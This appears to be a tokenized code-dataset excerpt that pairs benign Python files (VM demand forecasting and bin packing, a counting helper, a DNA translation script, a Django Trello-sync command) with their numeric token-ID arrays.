9651,
1683,
29901,
13,
18884,
4236,
2311,
353,
938,
29898,
2311,
29897,
13,
4706,
5174,
7865,
2392,
408,
321,
29901,
13,
9651,
2643,
29898,
29888,
29908,
6028,
29915,
29873,
6088,
2159,
515,
426,
2311,
17671,
376,
19386,
613,
380,
20405,
29922,
5574,
29897,
13,
9651,
6876,
6278,
29896,
29897,
13,
13,
1678,
565,
6389,
29889,
29886,
29901,
13,
4706,
302,
353,
938,
29898,
5085,
29889,
29886,
29914,
29896,
29900,
29900,
334,
7431,
29898,
6831,
2063,
876,
13,
13,
1678,
565,
6389,
29889,
29894,
29901,
13,
4706,
2643,
29898,
29888,
29908,
8439,
526,
426,
2435,
29898,
6831,
2063,
2915,
15602,
29889,
1105,
591,
674,
4559,
426,
29876,
29913,
3161,
613,
376,
29954,
1525,
1430,
1159,
13,
13,
1678,
19356,
29918,
2311,
353,
29871,
29900,
13,
1678,
411,
1722,
29898,
5085,
29889,
29877,
29892,
525,
29893,
1495,
408,
714,
29901,
13,
4706,
363,
269,
297,
4559,
29898,
6831,
2063,
29892,
302,
1125,
13,
9651,
714,
29889,
3539,
29898,
29888,
29908,
28312,
29879,
29961,
29900,
29962,
1012,
29876,
29912,
29879,
29961,
29896,
29962,
1012,
29876,
3124,
29876,
29912,
29879,
29961,
29906,
29962,
1012,
29876,
1159,
13,
9651,
19356,
29918,
2311,
4619,
7431,
29898,
29879,
29961,
29896,
2314,
13,
9651,
565,
19356,
29918,
2311,
1405,
4236,
2311,
29901,
13,
18884,
2867,
13,
13,
2
] |
predictor.py | WangShouDao/ecs | 1 | 119527 | <gh_stars>1-10
def count_time(time1, time2):
monthDay = [31,28,31,30,31,30,31,31,30,31,30,31]
if time1[0] % 4 !=0:
if time2[1] == time1[1]:
count = time2[2] - time1[2]
else:
count = time2[2] - time1[2] + monthDay[time1[1] - 1]
elif time1[0] % 400 != 0:
if time2[1] == time1[1]:
count = time2[2] - time1[2]
else:
count = time2[2] - time1[2] + monthDay[time1[1] - 1]
else:
if time2[1] == time1[1]:
count = time2[2] - time1[2]
elif time2[1] == 3:
count = time2[2] - time1[2] + 29
else:
count = time2[2] - time1[2] + monthDay[time1[1] - 1]
return count
def read_input(input_lines):
values = input_lines[0].split(' ')
cpu = values[0]
memory = int(values[1]) * 1024
disk = values[2]
value = int(input_lines[2])
flavorArray = []
inputDict = {}
for i in range(3, value + 3):
values = input_lines[i].split(' ')
flavorName = values[0]
cpuSize = values[1]
memorySize = values[2].strip()
flavorArray.append(flavorName)
inputDict[flavorName] = {'cpu':cpuSize, 'memory':memorySize}
kind = input_lines[value + 4].strip()
startTime = map(int,input_lines[value + 6].strip().split(' ')[0].split('-'))
endTime = map(int,input_lines[value + 7].strip().split(' ')[0].split('-'))
count = count_time(startTime, endTime)
print count,startTime,endTime
return cpu,memory,kind,count,flavorArray,inputDict
def linear_regression(x,y,k,count):
N = float(len(x))
sx, sy, sxx, syy, sxy = 0, 0, 0, 0, 0
for i in range(0, int(N)):
sx += x[i]
sy += y[i]
sxx += x[i] * x[i]
syy += y[i] * y[i]
sxy += x[i] * y[i]
a = (sy * sx / N - sxy) / (sx * sx / N - sxx)
b = (sy - a * sx) / N
# r = abs(sy * sx / N - sxy) / math.sqrt((sxx - sx * sx / N) * (syy - sy * sy / N))
sum = 0
for i in range(k+1,count+k+1):
y = a * i + b
if y>=0:
sum += int(y)
else:
continue
return int(sum)
def read_ecs(ecs_lines,flavorArray,result,inputDict,count):
flavorDict = {}
inputDataDict = {}
for item in inputDict:
inputDataDict[item] = {}
k = 0
sum = 0
createTimeArray = []
for item in ecs_lines:
values = item.split("\t")
uuid = values[0]
flavorName = values[1]
createTime = values[2].strip().split(' ')[0]
if flavorName not in inputDict:
continue
elif createTime not in createTimeArray:
createTimeArray.append(createTime)
k+=1
for key in inputDataDict:
inputDataDict[key][k] = 0
inputDataDict[flavorName][k] = 1
else:
inputDataDict[flavorName][k] += 1
for item in inputDataDict:
x = []
y = []
for k,v in inputDataDict[item].items():
x.append(k)
y.append(v)
n = linear_regression(x,y,k,count)
flavorDict[item] = n
sum += n
result.append(sum)
for item in flavorDict:
result.append(item + ' '+ str(flavorDict[item]))
return flavorDict,result
def put_vm(kind,cpu,memory,flavorDict,inputDict, result):
k = 0
CPU = [cpu]
MEM = [memory]
placeDict = {1:{},}
flavorSort = []
temp = sorted(flavorDict.items(), key = lambda item:int(item[0][6:]),reverse = True)
[flavorSort.append(item[0]) for item in temp]
for item in flavorSort:
while flavorDict[item] > 0:
for i in range(0,k+1):
flag = True
if int(CPU[i]) >= int(inputDict[item]['cpu']) and int(MEM[i]) >= int(inputDict[item]['memory']):
CPU[i] = int(CPU[i]) - int(inputDict[item]['cpu'])
MEM[i] = int(MEM[i]) - int(inputDict[item]['memory'])
flavorDict[item] = int(flavorDict[item]) - 1
flag = False
if item not in placeDict[i+1]:
placeDict[i+1][item] = 1
else:
placeDict[i+1][item] += 1
elif i < k:
continue
elif i==k and flag:
k+=1
CPU.append(cpu)
MEM.append(memory)
CPU[k] = int(cpu) - int(inputDict[item]['cpu'])
MEM[k] = int(memory) - int(inputDict[item]['memory'])
flavorDict[item] = int(flavorDict[item]) - 1
placeDict[k+1] = {item:1}
else:
break
result.append('\n' + str(len(placeDict)))
for item in placeDict:
temp = str(item)
for key in placeDict[item]:
temp = temp + ' ' + key + ' ' + str(placeDict[item][key])
result.append(temp)
return result
def predict_vm(ecs_lines, input_lines):
# Do your work from here#
result = []
if ecs_lines is None:
print 'ecs information is none'
return result
if input_lines is None:
print 'input file information is none'
return result
cpu, memory, kind, count, flavorArray,inputDict=read_input(input_lines)
flavorDict, result = read_ecs(ecs_lines,flavorArray,result,inputDict,count)
result=put_vm(kind,cpu,memory,flavorDict,inputDict,result)
return result | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
1753,
2302,
29918,
2230,
29898,
2230,
29896,
29892,
931,
29906,
1125,
13,
1678,
4098,
12742,
353,
518,
29941,
29896,
29892,
29906,
29947,
29892,
29941,
29896,
29892,
29941,
29900,
29892,
29941,
29896,
29892,
29941,
29900,
29892,
29941,
29896,
29892,
29941,
29896,
29892,
29941,
29900,
29892,
29941,
29896,
29892,
29941,
29900,
29892,
29941,
29896,
29962,
13,
1678,
565,
931,
29896,
29961,
29900,
29962,
1273,
29871,
29946,
2804,
29900,
29901,
13,
4706,
565,
931,
29906,
29961,
29896,
29962,
1275,
931,
29896,
29961,
29896,
5387,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
13,
4706,
1683,
29901,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
718,
4098,
12742,
29961,
2230,
29896,
29961,
29896,
29962,
448,
29871,
29896,
29962,
13,
1678,
25342,
29871,
931,
29896,
29961,
29900,
29962,
1273,
29871,
29946,
29900,
29900,
2804,
29871,
29900,
29901,
13,
4706,
565,
931,
29906,
29961,
29896,
29962,
1275,
931,
29896,
29961,
29896,
5387,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
13,
4706,
1683,
29901,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
718,
4098,
12742,
29961,
2230,
29896,
29961,
29896,
29962,
448,
29871,
29896,
29962,
13,
1678,
1683,
29901,
13,
4706,
565,
931,
29906,
29961,
29896,
29962,
1275,
931,
29896,
29961,
29896,
5387,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
13,
4706,
25342,
931,
29906,
29961,
29896,
29962,
1275,
29871,
29941,
29901,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
718,
29871,
29906,
29929,
13,
4706,
1683,
29901,
13,
9651,
2302,
353,
931,
29906,
29961,
29906,
29962,
448,
931,
29896,
29961,
29906,
29962,
718,
4098,
12742,
29961,
2230,
29896,
29961,
29896,
29962,
448,
29871,
29896,
29962,
13,
1678,
736,
2302,
13,
13,
1753,
1303,
29918,
2080,
29898,
2080,
29918,
9012,
1125,
13,
1678,
1819,
353,
1881,
29918,
9012,
29961,
29900,
1822,
5451,
877,
25710,
13,
1678,
26403,
353,
1819,
29961,
29900,
29962,
13,
1678,
3370,
353,
938,
29898,
5975,
29961,
29896,
2314,
334,
29871,
29896,
29900,
29906,
29946,
13,
1678,
8086,
353,
1819,
29961,
29906,
29962,
13,
13,
1678,
995,
353,
938,
29898,
2080,
29918,
9012,
29961,
29906,
2314,
13,
1678,
21054,
272,
2588,
353,
5159,
13,
1678,
1881,
21533,
353,
6571,
13,
1678,
363,
474,
297,
3464,
29898,
29941,
29892,
995,
718,
29871,
29941,
1125,
13,
4706,
1819,
353,
1881,
29918,
9012,
29961,
29875,
1822,
5451,
877,
25710,
13,
4706,
21054,
272,
1170,
353,
1819,
29961,
29900,
29962,
13,
4706,
26403,
3505,
353,
1819,
29961,
29896,
29962,
13,
4706,
3370,
3505,
353,
1819,
29961,
29906,
1822,
17010,
580,
13,
4706,
21054,
272,
2588,
29889,
4397,
29898,
29888,
4112,
272,
1170,
29897,
13,
4706,
1881,
21533,
29961,
29888,
4112,
272,
1170,
29962,
353,
11117,
21970,
2396,
21970,
3505,
29892,
525,
14834,
2396,
14834,
3505,
29913,
13,
1678,
2924,
353,
1881,
29918,
9012,
29961,
1767,
718,
29871,
29946,
1822,
17010,
580,
13,
13,
1678,
1369,
2481,
353,
2910,
29898,
524,
29892,
2080,
29918,
9012,
29961,
1767,
718,
29871,
29953,
1822,
17010,
2141,
5451,
877,
525,
9601,
29900,
1822,
5451,
877,
29899,
8785,
13,
1678,
1095,
2481,
353,
2910,
29898,
524,
29892,
2080,
29918,
9012,
29961,
1767,
718,
29871,
29955,
1822,
17010,
2141,
5451,
877,
525,
9601,
29900,
1822,
5451,
877,
29899,
8785,
13,
1678,
2302,
353,
2302,
29918,
2230,
29898,
2962,
2481,
29892,
1095,
2481,
29897,
13,
1678,
1596,
2302,
29892,
2962,
2481,
29892,
355,
2481,
13,
1678,
736,
26403,
29892,
14834,
29892,
14380,
29892,
2798,
29892,
29888,
4112,
272,
2588,
29892,
2080,
21533,
13,
13,
1753,
5608,
29918,
276,
11476,
29898,
29916,
29892,
29891,
29892,
29895,
29892,
2798,
1125,
13,
1678,
405,
353,
5785,
29898,
2435,
29898,
29916,
876,
13,
1678,
269,
29916,
29892,
9878,
29892,
269,
4419,
29892,
269,
8071,
29892,
269,
3594,
353,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
938,
29898,
29940,
22164,
13,
4706,
269,
29916,
4619,
921,
29961,
29875,
29962,
13,
4706,
9878,
4619,
343,
29961,
29875,
29962,
13,
4706,
269,
4419,
4619,
921,
29961,
29875,
29962,
334,
921,
29961,
29875,
29962,
13,
4706,
269,
8071,
4619,
343,
29961,
29875,
29962,
334,
343,
29961,
29875,
29962,
13,
4706,
269,
3594,
4619,
921,
29961,
29875,
29962,
334,
343,
29961,
29875,
29962,
13,
1678,
263,
353,
313,
29879,
29891,
334,
269,
29916,
847,
405,
448,
269,
3594,
29897,
847,
313,
29879,
29916,
334,
269,
29916,
847,
405,
448,
269,
4419,
29897,
13,
1678,
289,
353,
313,
29879,
29891,
448,
263,
334,
269,
29916,
29897,
847,
405,
13,
1678,
396,
364,
353,
6425,
29898,
29879,
29891,
334,
269,
29916,
847,
405,
448,
269,
3594,
29897,
847,
5844,
29889,
3676,
3552,
29879,
4419,
448,
269,
29916,
334,
269,
29916,
847,
405,
29897,
334,
313,
29879,
8071,
448,
9878,
334,
9878,
847,
405,
876,
13,
1678,
2533,
353,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
29895,
29974,
29896,
29892,
2798,
29974,
29895,
29974,
29896,
1125,
13,
4706,
343,
353,
263,
334,
474,
718,
289,
13,
4706,
565,
343,
18572,
29900,
29901,
13,
9651,
2533,
4619,
938,
29898,
29891,
29897,
13,
4706,
1683,
29901,
13,
9651,
6773,
13,
1678,
736,
938,
29898,
2083,
29897,
13,
13,
1753,
1303,
29918,
687,
29879,
29898,
687,
29879,
29918,
9012,
29892,
29888,
4112,
272,
2588,
29892,
2914,
29892,
2080,
21533,
29892,
2798,
1125,
13,
1678,
21054,
272,
21533,
353,
6571,
13,
1678,
1881,
1469,
21533,
353,
6571,
13,
1678,
363,
2944,
297,
1881,
21533,
29901,
13,
4706,
1881,
1469,
21533,
29961,
667,
29962,
353,
6571,
13,
1678,
413,
353,
29871,
29900,
13,
1678,
2533,
353,
29871,
29900,
13,
1678,
1653,
2481,
2588,
353,
5159,
13,
1678,
363,
2944,
297,
321,
2395,
29918,
9012,
29901,
13,
4706,
1819,
353,
2944,
29889,
5451,
14182,
29873,
1159,
13,
4706,
318,
5416,
353,
1819,
29961,
29900,
29962,
13,
4706,
21054,
272,
1170,
353,
1819,
29961,
29896,
29962,
13,
4706,
1653,
2481,
353,
1819,
29961,
29906,
1822,
17010,
2141,
5451,
877,
525,
9601,
29900,
29962,
13,
4706,
565,
21054,
272,
1170,
451,
297,
1881,
21533,
29901,
13,
9651,
6773,
13,
4706,
25342,
1653,
2481,
451,
297,
1653,
2481,
2588,
29901,
13,
9651,
1653,
2481,
2588,
29889,
4397,
29898,
3258,
2481,
29897,
13,
9651,
413,
23661,
29896,
13,
9651,
363,
1820,
297,
1881,
1469,
21533,
29901,
13,
18884,
1881,
1469,
21533,
29961,
1989,
3816,
29895,
29962,
353,
29871,
29900,
13,
9651,
1881,
1469,
21533,
29961,
29888,
4112,
272,
1170,
3816,
29895,
29962,
353,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
1881,
1469,
21533,
29961,
29888,
4112,
272,
1170,
3816,
29895,
29962,
4619,
29871,
29896,
13,
1678,
363,
2944,
297,
1881,
1469,
21533,
29901,
13,
4706,
921,
353,
5159,
13,
4706,
343,
353,
5159,
13,
4706,
363,
413,
29892,
29894,
297,
1881,
1469,
21533,
29961,
667,
1822,
7076,
7295,
13,
9651,
921,
29889,
4397,
29898,
29895,
29897,
13,
9651,
343,
29889,
4397,
29898,
29894,
29897,
13,
4706,
302,
353,
5608,
29918,
276,
11476,
29898,
29916,
29892,
29891,
29892,
29895,
29892,
2798,
29897,
13,
4706,
21054,
272,
21533,
29961,
667,
29962,
353,
302,
13,
4706,
2533,
4619,
302,
13,
1678,
1121,
29889,
4397,
29898,
2083,
29897,
13,
1678,
363,
2944,
297,
21054,
272,
21533,
29901,
13,
4706,
1121,
29889,
4397,
29898,
667,
718,
525,
525,
29974,
851,
29898,
29888,
4112,
272,
21533,
29961,
667,
12622,
13,
1678,
736,
21054,
272,
21533,
29892,
2914,
13,
13,
1753,
1925,
29918,
6925,
29898,
14380,
29892,
21970,
29892,
14834,
29892,
29888,
4112,
272,
21533,
29892,
2080,
21533,
29892,
1121,
1125,
13,
1678,
413,
353,
29871,
29900,
13,
1678,
10808,
353,
518,
21970,
29962,
13,
1678,
341,
12665,
353,
518,
14834,
29962,
13,
1678,
2058,
21533,
353,
426,
29896,
26254,
1118,
29913,
13,
1678,
21054,
272,
13685,
353,
5159,
13,
1678,
5694,
353,
12705,
29898,
29888,
4112,
272,
21533,
29889,
7076,
3285,
1820,
353,
14013,
2944,
29901,
524,
29898,
667,
29961,
29900,
3816,
29953,
29901,
11724,
24244,
353,
5852,
29897,
13,
1678,
518,
29888,
4112,
272,
13685,
29889,
4397,
29898,
667,
29961,
29900,
2314,
363,
2944,
297,
5694,
29962,
13,
1678,
363,
2944,
297,
21054,
272,
13685,
29901,
13,
4706,
1550,
21054,
272,
21533,
29961,
667,
29962,
1405,
29871,
29900,
29901,
13,
9651,
363,
474,
297,
3464,
29898,
29900,
29892,
29895,
29974,
29896,
1125,
13,
18884,
7353,
353,
5852,
13,
18884,
565,
938,
29898,
6271,
29965,
29961,
29875,
2314,
6736,
938,
29898,
2080,
21533,
29961,
667,
22322,
21970,
11287,
322,
938,
29898,
2303,
29924,
29961,
29875,
2314,
6736,
938,
29898,
2080,
21533,
29961,
667,
22322,
14834,
2033,
1125,
13,
462,
1678,
10808,
29961,
29875,
29962,
353,
938,
29898,
6271,
29965,
29961,
29875,
2314,
448,
938,
29898,
2080,
21533,
29961,
667,
22322,
21970,
11287,
13,
462,
1678,
341,
12665,
29961,
29875,
29962,
353,
938,
29898,
2303,
29924,
29961,
29875,
2314,
448,
938,
29898,
2080,
21533,
29961,
667,
22322,
14834,
11287,
13,
462,
1678,
21054,
272,
21533,
29961,
667,
29962,
353,
938,
29898,
29888,
4112,
272,
21533,
29961,
667,
2314,
448,
29871,
29896,
13,
462,
1678,
7353,
353,
7700,
13,
462,
1678,
565,
2944,
451,
297,
2058,
21533,
29961,
29875,
29974,
29896,
5387,
13,
462,
4706,
2058,
21533,
29961,
29875,
29974,
29896,
3816,
667,
29962,
353,
29871,
29896,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
2058,
21533,
29961,
29875,
29974,
29896,
3816,
667,
29962,
4619,
29871,
29896,
13,
18884,
25342,
474,
529,
413,
29901,
13,
462,
1678,
6773,
13,
18884,
25342,
474,
1360,
29895,
322,
7353,
29901,
13,
462,
1678,
413,
23661,
29896,
13,
462,
1678,
10808,
29889,
4397,
29898,
21970,
29897,
13,
462,
1678,
341,
12665,
29889,
4397,
29898,
14834,
29897,
13,
462,
1678,
10808,
29961,
29895,
29962,
353,
938,
29898,
21970,
29897,
448,
938,
29898,
2080,
21533,
29961,
667,
22322,
21970,
11287,
13,
462,
1678,
341,
12665,
29961,
29895,
29962,
353,
938,
29898,
14834,
29897,
448,
938,
29898,
2080,
21533,
29961,
667,
22322,
14834,
11287,
13,
462,
1678,
21054,
272,
21533,
29961,
667,
29962,
353,
938,
29898,
29888,
4112,
272,
21533,
29961,
667,
2314,
448,
29871,
29896,
13,
462,
1678,
2058,
21533,
29961,
29895,
29974,
29896,
29962,
353,
426,
667,
29901,
29896,
29913,
13,
18884,
1683,
29901,
13,
462,
1678,
2867,
13,
1678,
1121,
29889,
4397,
28909,
29876,
29915,
718,
851,
29898,
2435,
29898,
6689,
21533,
4961,
13,
1678,
363,
2944,
297,
2058,
21533,
29901,
13,
4706,
5694,
353,
851,
29898,
667,
29897,
13,
4706,
363,
1820,
297,
2058,
21533,
29961,
667,
5387,
13,
9651,
5694,
353,
5694,
718,
525,
525,
718,
1820,
718,
525,
525,
718,
851,
29898,
6689,
21533,
29961,
667,
3816,
1989,
2314,
13,
4706,
1121,
29889,
4397,
29898,
7382,
29897,
13,
1678,
736,
1121,
13,
13,
1753,
8500,
29918,
6925,
29898,
687,
29879,
29918,
9012,
29892,
1881,
29918,
9012,
1125,
13,
1678,
396,
1938,
596,
664,
515,
1244,
29937,
13,
1678,
1121,
353,
5159,
13,
1678,
565,
321,
2395,
29918,
9012,
338,
6213,
29901,
13,
4706,
1596,
525,
687,
29879,
2472,
338,
5642,
29915,
13,
4706,
736,
1121,
13,
1678,
565,
1881,
29918,
9012,
338,
6213,
29901,
13,
4706,
1596,
525,
2080,
934,
2472,
338,
5642,
29915,
13,
4706,
736,
1121,
13,
1678,
26403,
29892,
3370,
29892,
2924,
29892,
2302,
29892,
21054,
272,
2588,
29892,
2080,
21533,
29922,
949,
29918,
2080,
29898,
2080,
29918,
9012,
29897,
13,
1678,
21054,
272,
21533,
29892,
1121,
353,
1303,
29918,
687,
29879,
29898,
687,
29879,
29918,
9012,
29892,
29888,
4112,
272,
2588,
29892,
2914,
29892,
2080,
21533,
29892,
2798,
29897,
13,
1678,
1121,
29922,
649,
29918,
6925,
29898,
14380,
29892,
21970,
29892,
14834,
29892,
29888,
4112,
272,
21533,
29892,
2080,
21533,
29892,
2914,
29897,
13,
13,
1678,
736,
1121,
2
] |
counting.py | codecakes/random_games | 0 | 1601024 |
from collections import Counter
def counting(arr):
'''creating an indexed counting array using Optimal Counter module'''
count = Counter(arr)
return [count.get(i, 0) for i in xrange(max(count.viewkeys()))]
| [
1,
29871,
13,
3166,
16250,
1053,
315,
5336,
13,
13,
1753,
21248,
29898,
2749,
1125,
13,
1678,
14550,
1037,
1218,
385,
27541,
21248,
1409,
773,
20693,
3039,
315,
5336,
3883,
12008,
13,
1678,
2302,
353,
315,
5336,
29898,
2749,
29897,
13,
1678,
736,
518,
2798,
29889,
657,
29898,
29875,
29892,
29871,
29900,
29897,
363,
474,
297,
921,
3881,
29898,
3317,
29898,
2798,
29889,
1493,
8149,
22130,
29962,
13,
2
] |
python-resources/Translate.py | pasteben/bioinformatics-app | 0 | 136989 | <reponame>pasteben/bioinformatics-app
# DNA Toolset/Code testing file
from DNAToolkit import *
import sys
import json
import base64
content = json.loads(base64.b64decode(sys.argv[1]))
if "dataset" in content:
dataset = content["dataset"]
FASTADict = {}
FASTALabel = ""
for line in dataset.splitlines():
if '>' in line:
FASTALabel = line
FASTADict[FASTALabel] = ""
else:
FASTADict[FASTALabel] += line
data = []
for (key, value) in FASTADict.items():
result = {
"label": key,
"sequence": value
}
if "window" in content:
result["amino_acid_sequence"] = translate_subseq(value, int(content["window"]))
else:
result["amino_acid_sequence"] = translate_seq(value)
data.append(result)
if "sequence" in content:
sequence = validateSeq(content["sequence"])
data = {
"sequence": sequence
}
if "window" in content:
data["amino_acid_sequence"] = translate_subseq(sequence, int(content["window"]))
else:
data["amino_acid_sequence"] = translate_seq(sequence)
print(json.dumps({
"data": data
})) | [
1,
529,
276,
1112,
420,
29958,
16179,
1785,
29914,
24840,
262,
4830,
1199,
29899,
932,
13,
29937,
25348,
21704,
842,
29914,
3399,
6724,
934,
13,
3166,
360,
29940,
1299,
1507,
7354,
1053,
334,
13,
5215,
10876,
13,
5215,
4390,
13,
5215,
2967,
29953,
29946,
13,
13,
3051,
353,
4390,
29889,
18132,
29898,
3188,
29953,
29946,
29889,
29890,
29953,
29946,
13808,
29898,
9675,
29889,
19218,
29961,
29896,
12622,
13,
13,
361,
376,
24713,
29908,
297,
2793,
29901,
13,
1678,
8783,
353,
2793,
3366,
24713,
3108,
13,
13,
1678,
13515,
1254,
3035,
919,
353,
6571,
13,
13,
1678,
13515,
1254,
1964,
1107,
353,
5124,
13,
13,
1678,
363,
1196,
297,
8783,
29889,
5451,
9012,
7295,
13,
4706,
565,
525,
16299,
29871,
297,
1196,
29901,
13,
9651,
13515,
1254,
1964,
1107,
353,
1196,
13,
9651,
13515,
1254,
3035,
919,
29961,
4519,
1254,
1964,
1107,
29962,
353,
5124,
13,
4706,
1683,
29901,
13,
9651,
13515,
1254,
3035,
919,
29961,
4519,
1254,
1964,
1107,
29962,
4619,
1196,
13,
13,
1678,
848,
353,
5159,
13,
13,
1678,
363,
313,
1989,
29892,
995,
29897,
297,
13515,
1254,
3035,
919,
29889,
7076,
7295,
13,
4706,
1121,
353,
426,
13,
9651,
376,
1643,
1115,
1820,
29892,
13,
9651,
376,
16506,
1115,
995,
13,
4706,
500,
13,
4706,
565,
376,
7165,
29908,
297,
2793,
29901,
13,
9651,
1121,
3366,
314,
1789,
29918,
562,
333,
29918,
16506,
3108,
353,
14240,
29918,
1491,
11762,
29898,
1767,
29892,
938,
29898,
3051,
3366,
7165,
3108,
876,
13,
4706,
1683,
29901,
13,
9651,
1121,
3366,
314,
1789,
29918,
562,
333,
29918,
16506,
3108,
353,
14240,
29918,
11762,
29898,
1767,
29897,
13,
13,
4706,
848,
29889,
4397,
29898,
2914,
29897,
13,
13,
361,
376,
16506,
29908,
297,
2793,
29901,
13,
1678,
5665,
353,
12725,
23718,
29898,
3051,
3366,
16506,
20068,
13,
13,
1678,
848,
353,
426,
13,
4706,
376,
16506,
1115,
5665,
13,
1678,
500,
13,
13,
1678,
565,
376,
7165,
29908,
297,
2793,
29901,
13,
4706,
848,
3366,
314,
1789,
29918,
562,
333,
29918,
16506,
3108,
353,
14240,
29918,
1491,
11762,
29898,
16506,
29892,
938,
29898,
3051,
3366,
7165,
3108,
876,
13,
1678,
1683,
29901,
13,
4706,
848,
3366,
314,
1789,
29918,
562,
333,
29918,
16506,
3108,
353,
14240,
29918,
11762,
29898,
16506,
29897,
13,
13,
2158,
29898,
3126,
29889,
29881,
17204,
3319,
13,
1678,
376,
1272,
1115,
848,
13,
20073,
2
] |
core/management/commands/sync_events_dashboard.py | vanessa/djangogirls | 446 | 43268 | import datetime
import re
import time
from collections import namedtuple
from django.conf import settings
from django.core.management.base import BaseCommand
from trello import ResourceUnavailable, TrelloClient
from core.models import Event
# Create new command
class Command(BaseCommand):
help = 'Syncs event in trello board. Need a token.'
missing_args_message = (
'You need to add a token! Get one here: '
'https://trello.com/1/authorize?key=01ab0348ca020573e7f728ae7400928a&scope=read%2Cwrite&'
'name=My+Application&expiration=1hour&response_type=token'
)
def add_arguments(self, parser):
parser.add_argument('trello_token', type=str)
def handle(self, *args, **options):
token = options['trello_token']
events = event_list()
sync(events, token)
# Get data
EventTuple = namedtuple('EventTuple', 'name id city date')
def event_list():
event = Event.objects.all()
result = []
for e in event:
name = e.name
_id = str(e.pk)
city = e.city
date = datetime.date(e.date.year, e.date.month, e.date.day or 1)
result.append(EventTuple(name, _id, city, date))
return result
# Sync to trello
ADMIN_BASE_URL = 'https://djangogirls.org/admin/core/event/'
def sync(events, token):
trello = TrelloClient(api_key=settings.TRELLO_API_KEY, token=token)
board = trello.get_board('55f7167c46760fcb5d68b385')
far_away, less_2_months, less_1_month, less_1_week, today, past = board.all_lists()
all_cards = {card_id(c): c for c in board.all_cards()}
date_today = datetime.date.today()
for e in events:
card = all_cards.get(e.id)
if not card:
card = create_card(e, far_away)
create_checklist(card)
# fetch card to get due date
try:
card.fetch()
except ResourceUnavailable:
print("Oopsie: too many requests! Let's wait 10 seconds!")
time.sleep(10)
card.fetch()
if e.date != card.due_date.date():
print('Changing due date of {} to {}'.format(e.city, e.date))
card.set_due(e.date)
distance = (e.date - date_today).days
if distance < 0:
right_list = past
elif distance == 0:
right_list = today
elif distance < 7:
right_list = less_1_week
elif distance < 30:
right_list = less_1_month
elif distance < 60:
right_list = less_2_months
else:
right_list = far_away
ensure_card_in_list(card, right_list)
def card_id(card):
m = re.search(ADMIN_BASE_URL + r'(\d+)',
card.desc)
return m.group(1)
def create_card(event, list):
print('Creating card {} ({})'.format(event.city, event.date.isoformat()))
return list.add_card(name=event.city,
desc=ADMIN_BASE_URL + event.id,
due=event.date.isoformat())
def create_checklist(card):
card.add_checklist("Things to do:", [
"2 month check", "1 month check", "Thank you email and request for stats", "Stats obtained"])
def ensure_checklist_in_card(card):
if not card.checklists:
print("Adding checklist to {} card.".format(card.name))
create_checklist(card)
def ensure_card_in_list(card, list):
if card.list_id != list.id:
print('Moving {} to {}'.format(
card.name, list.name))
card.change_list(list.id)
| [
1,
1053,
12865,
13,
5215,
337,
13,
5215,
931,
13,
3166,
16250,
1053,
4257,
23583,
13,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
3221,
29889,
21895,
29889,
3188,
1053,
7399,
6255,
13,
3166,
2578,
29880,
417,
1053,
18981,
2525,
16515,
29892,
323,
2674,
417,
4032,
13,
13,
3166,
7136,
29889,
9794,
1053,
6864,
13,
13,
13,
29937,
6204,
716,
1899,
13,
13,
1990,
10516,
29898,
5160,
6255,
1125,
13,
1678,
1371,
353,
525,
29216,
2395,
1741,
297,
2578,
29880,
417,
7613,
29889,
20768,
263,
5993,
6169,
13,
1678,
4567,
29918,
5085,
29918,
4906,
353,
313,
13,
4706,
525,
3492,
817,
304,
788,
263,
5993,
29991,
3617,
697,
1244,
29901,
525,
13,
4706,
525,
991,
597,
2484,
29880,
417,
29889,
510,
29914,
29896,
29914,
8921,
675,
29973,
1989,
29922,
29900,
29896,
370,
29900,
29941,
29946,
29947,
1113,
29900,
29906,
29900,
29945,
29955,
29941,
29872,
29955,
29888,
29955,
29906,
29947,
3660,
29955,
29946,
29900,
29900,
29929,
29906,
29947,
29874,
29987,
6078,
29922,
949,
29995,
29906,
29907,
3539,
29987,
29915,
13,
4706,
525,
978,
29922,
3421,
29974,
4873,
29987,
4548,
12232,
29922,
29896,
18721,
29987,
5327,
29918,
1853,
29922,
6979,
29915,
13,
1678,
1723,
13,
13,
1678,
822,
788,
29918,
25699,
29898,
1311,
29892,
13812,
1125,
13,
4706,
13812,
29889,
1202,
29918,
23516,
877,
2484,
29880,
417,
29918,
6979,
742,
1134,
29922,
710,
29897,
13,
13,
1678,
822,
4386,
29898,
1311,
29892,
334,
5085,
29892,
3579,
6768,
1125,
13,
4706,
5993,
353,
3987,
1839,
2484,
29880,
417,
29918,
6979,
2033,
13,
4706,
4959,
353,
1741,
29918,
1761,
580,
13,
4706,
16523,
29898,
13604,
29892,
5993,
29897,
13,
13,
29937,
3617,
848,
13,
13,
13,
2624,
23215,
552,
353,
4257,
23583,
877,
2624,
23215,
552,
742,
525,
978,
1178,
4272,
2635,
1495,
13,
13,
13,
1753,
1741,
29918,
1761,
7295,
13,
1678,
1741,
353,
6864,
29889,
12650,
29889,
497,
580,
13,
1678,
1121,
353,
5159,
13,
1678,
363,
321,
297,
1741,
29901,
13,
4706,
1024,
353,
321,
29889,
978,
13,
4706,
903,
333,
353,
851,
29898,
29872,
29889,
20571,
29897,
13,
4706,
4272,
353,
321,
29889,
12690,
13,
4706,
2635,
353,
12865,
29889,
1256,
29898,
29872,
29889,
1256,
29889,
6360,
29892,
321,
29889,
1256,
29889,
10874,
29892,
321,
29889,
1256,
29889,
3250,
470,
29871,
29896,
29897,
13,
